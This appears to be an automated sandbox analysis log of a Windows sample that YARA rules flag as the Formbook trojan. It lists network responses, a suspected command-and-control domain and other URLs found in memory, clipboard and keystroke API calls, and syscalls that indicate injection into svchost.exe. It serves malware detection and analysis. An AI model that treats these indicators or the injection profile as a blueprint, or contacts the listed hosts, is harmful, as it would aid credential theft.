Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:42 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 14:36:16 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 14:36:18 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 14:36:21 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 14:36:24 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: IqZHJpXEsts.exe, 00000007.00000002.3641350832.000000000522C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.mizuquan.top
Source: IqZHJpXEsts.exe, 00000007.00000002.3641350832.000000000522C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.mizuquan.top/e0nr/
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000367E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: netbtugc.exe, 00000006.00000003.2277485464.000000000855A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: netbtugc.exe, 00000006.00000002.3641939906.0000000006B30000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640439126.0000000004E30000.00000004.10000000.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3639915615.0000000003AA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://whois.gandi.net/en/results?search=languagemodel.pro
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: netbtugc.exe, 00000006.00000002.3640439126.00000000047E8000.00000004.10000000.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3639915615.0000000003458000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2390344641.0000000022BA8000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.elsupertodo.net/2jit/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=iS4P4oRSl8BXKzGHIPEeBFILTgF0I4K6JXAZl
Source: netbtugc.exe, 00000006.00000002.3641939906.0000000006B30000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640439126.0000000004E30000.00000004.10000000.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3639915615.0000000003AA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.gandi.net/en/domain
Source: netbtugc.exe, 00000006.00000003.2284082389.000000000857D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C81C

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C063 NtClose,	1_2_0042C063
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572B60 NtClose,LdrInitializeThunk,	1_2_03572B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03572DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03572C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035735C0 NtCreateMutant,LdrInitializeThunk,	1_2_035735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03574340 NtSetContextThread,	1_2_03574340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03574650 NtSuspendThread,	1_2_03574650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572BF0 NtAllocateVirtualMemory,	1_2_03572BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572BE0 NtQueryValueKey,	1_2_03572BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572B80 NtQueryInformationFile,	1_2_03572B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572BA0 NtEnumerateValueKey,	1_2_03572BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572AD0 NtReadFile,	1_2_03572AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572AF0 NtWriteFile,	1_2_03572AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572AB0 NtWaitForSingleObject,	1_2_03572AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572F60 NtCreateProcessEx,	1_2_03572F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572F30 NtCreateSection,	1_2_03572F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572FE0 NtCreateFile,	1_2_03572FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572F90 NtProtectVirtualMemory,	1_2_03572F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572FB0 NtResumeThread,	1_2_03572FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572FA0 NtQuerySection,	1_2_03572FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572E30 NtWriteVirtualMemory,	1_2_03572E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572EE0 NtQueueApcThread,	1_2_03572EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572E80 NtReadVirtualMemory,	1_2_03572E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572EA0 NtAdjustPrivilegesToken,	1_2_03572EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572D10 NtMapViewOfSection,	1_2_03572D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572D00 NtSetInformationFile,	1_2_03572D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572D30 NtUnmapViewOfSection,	1_2_03572D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572DD0 NtDelayExecution,	1_2_03572DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572DB0 NtEnumerateKey,	1_2_03572DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572C60 NtCreateKey,	1_2_03572C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572C00 NtQueryInformationProcess,	1_2_03572C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572CC0 NtQueryVirtualMemory,	1_2_03572CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572CF0 NtOpenProcess,	1_2_03572CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572CA0 NtQueryInformationToken,	1_2_03572CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03573010 NtOpenDirectoryObject,	1_2_03573010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03573090 NtSetValueKey,	1_2_03573090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035739B0 NtGetContextThread,	1_2_035739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03573D70 NtOpenThread,	1_2_03573D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03573D10 NtOpenProcessToken,	1_2_03573D10
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B24340 NtSetContextThread,LdrInitializeThunk,	6_2_03B24340
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B24650 NtSuspendThread,LdrInitializeThunk,	6_2_03B24650
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_03B22BA0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_03B22BF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_03B22BE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22B60 NtClose,LdrInitializeThunk,	6_2_03B22B60
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22AF0 NtWriteFile,LdrInitializeThunk,	6_2_03B22AF0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22AD0 NtReadFile,LdrInitializeThunk,	6_2_03B22AD0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22FB0 NtResumeThread,LdrInitializeThunk,	6_2_03B22FB0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22FE0 NtCreateFile,LdrInitializeThunk,	6_2_03B22FE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22F30 NtCreateSection,LdrInitializeThunk,	6_2_03B22F30
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_03B22E80
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_03B22EE0
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03B22DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03B22DF0
